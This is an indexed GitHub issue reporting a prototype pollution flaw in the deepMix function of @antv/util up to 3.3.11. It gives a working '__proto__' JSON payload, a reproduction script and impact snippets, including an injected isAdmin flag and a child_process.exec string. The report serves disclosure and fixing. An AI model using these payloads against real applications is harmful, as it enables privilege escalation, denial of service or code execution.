Critical Prototype Pollution in @antv/util <= 3.3.11 via deepMix Function
- Dominant language
- TypeScript
- Stars
- 72
- Forks
- 28
- PR merge metrics
- No merged PRs in 30d
Description
# Prototype Pollution via __proto__ in deepMix function in @antv/util
## Summary
A critical prototype pollution vulnerability exists in the `@antv/util` package (versions <= 3.3.11) that allows attackers to pollute `Object.prototype` through the `deepMix` function. By passing a maliciously crafted object containing the `__proto__` key, attackers can inject arbitrary properties into all JavaScript objects, potentially leading to Denial of Service (DoS), authentication bypass, or Remote Code Execution (RCE) in vulnerable applications.
## Details
The vulnerability resides in the `deepMix` function located in `package/package/esm/lodash/deep-mix.js`. This function performs recursive object merging without implementing proper prototype pollution protection mechanisms.
**Root Cause:**
The vulnerable code uses a `for-in` loop (line 16) to iterate over source object properties without checking if the property key is a dangerous prototype accessor (`__proto__`, `constructor`, or `prototype`). When a user-controlled object containing the `__proto__` key is processed, the function directly assigns values to `dist[key]` at multiple locations (lines 21, 27, 31, 35), enabling prototype pollution.
**Vulnerable Code Flow:**
```javascript
// Simplified vulnerable code pattern
for (var key in src) { // Line 16 - NO_HASOWN vulnerability
// ... processing logic ...
dist[key] = value; // Lines 21, 27, 31, 35 - DYNAMIC_PROP_WRITE without validation
}
```
When `key` equals `"__proto__"`, the assignment `dist["__proto__"]` modifies the prototype chain of all JavaScript objects instead of setting a regular property.
**Affected Code Locations:**
- **File**: `package/package/esm/lodash/deep-mix.js`
- **Vulnerable Line**: 35 (and lines 21, 27, 31)
- **Vulnerability Type**: DYNAMIC_PROP_WRITE without prototype key validation
- **Additional Issue**: NO_HASOWN at line 16 (for-in loop without hasOwnProperty check)
## PoC
### Payload
```json
{"__proto__": {"polluted": "yes"}}
```
### Steps to Reproduce
1. **Install the vulnerable package:**
```bash
npm install @antv/util@3.3.11
```
2. **Create a test file** (`test-pollution.js`):
```javascript
const { deepMix } = require('@antv/util');
// Before pollution
console.log('Before pollution:');
console.log('({}).polluted =', ({}).polluted);
// Trigger prototype pollution
const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}');
deepMix({}, maliciousPayload);
// After pollution
console.log('\nAfter pollution:');
console.log('({}).polluted =', ({}).polluted);
// Verify pollution affects all objects
const newObject = {};
console.log('newObject.polluted =', newObject.polluted);
```
3. **Execute the test:**
```bash
node test-pollution.js
```
### Expected Behavior
The `deepMix` function should safely merge objects without modifying `Object.prototype`. The output should show:
```
Before pollution:
({}).polluted = undefined
After pollution:
({}).polluted = undefined
newObject.polluted = undefined
```
### Actual Behavior
The prototype chain is polluted, affecting all JavaScript objects:
```
Before pollution:
({}).polluted = undefined
After pollution:
({}).polluted = yes
newObject.polluted = yes
```
## Impact
This prototype pollution vulnerability poses a **critical security risk** with multiple attack vectors:
### 1. **Property Injection**
Attackers can inject arbitrary properties into all JavaScript objects throughout the application, potentially overriding security-critical properties or application logic.
### 2. **Denial of Service (DoS)**
By polluting properties like `toString`, `valueOf`, or other built-in methods, attackers can crash the application or cause infinite loops:
```javascript
deepMix({}, {"__proto__": {"toString": null}});
// Causes crashes when objects are converted to strings
```
### 3. **Authentication Bypass**
Applications using object properties for access control are vulnerable:
```javascript
// Attacker pollutes isAdmin property
deepMix({}, {"__proto__": {"isAdmin": true}});
// Vulnerable authentication check
if (user.isAdmin) {
// Grants unauthorized access
}
```
### 4. **Remote Code Execution (RCE)**
If polluted properties flow into dangerous sinks such as `eval()`, `Function()`, `child_process.exec()`, or template engines, attackers may achieve arbitrary code execution:
```javascript
deepMix({}, {"__proto__": {"execCommand": "require('child_process').exec('malicious-command')"}});
```
### Attack Surface
Any application that:
- Processes user-controlled JSON/object input
- Uses `@antv/util`'s `deepMix` function
- Operates in environments where object properties influence security decisions
**Severity**: **CRITICAL** - This vulnerability can be exploited remotely with minimal complexity and no authentication requirements.
---
**Recommendation**: Users should immediately upgrade to a patched version once available. As a temporary mitigation, avoid using `deepMix` with untrusted user input, or implement input validation to reject objects containing `__proto__`, `constructor`, or `prototype` keys.
Contributor guide
No contributing guide indexed for this repository
Research direction
Start with package/package/esm/lodash/deep-mix.js, especially the for-in loop and dynamic assignments at the lines identified in the report. Run the test-pollution.js reproduction with the JSON payload and verify that the expected result leaves ({}).polluted undefined without modifying Object.prototype.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, typescript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Stale
- Clarity
- Clearly specified
- Newbie friendliness
- 38/100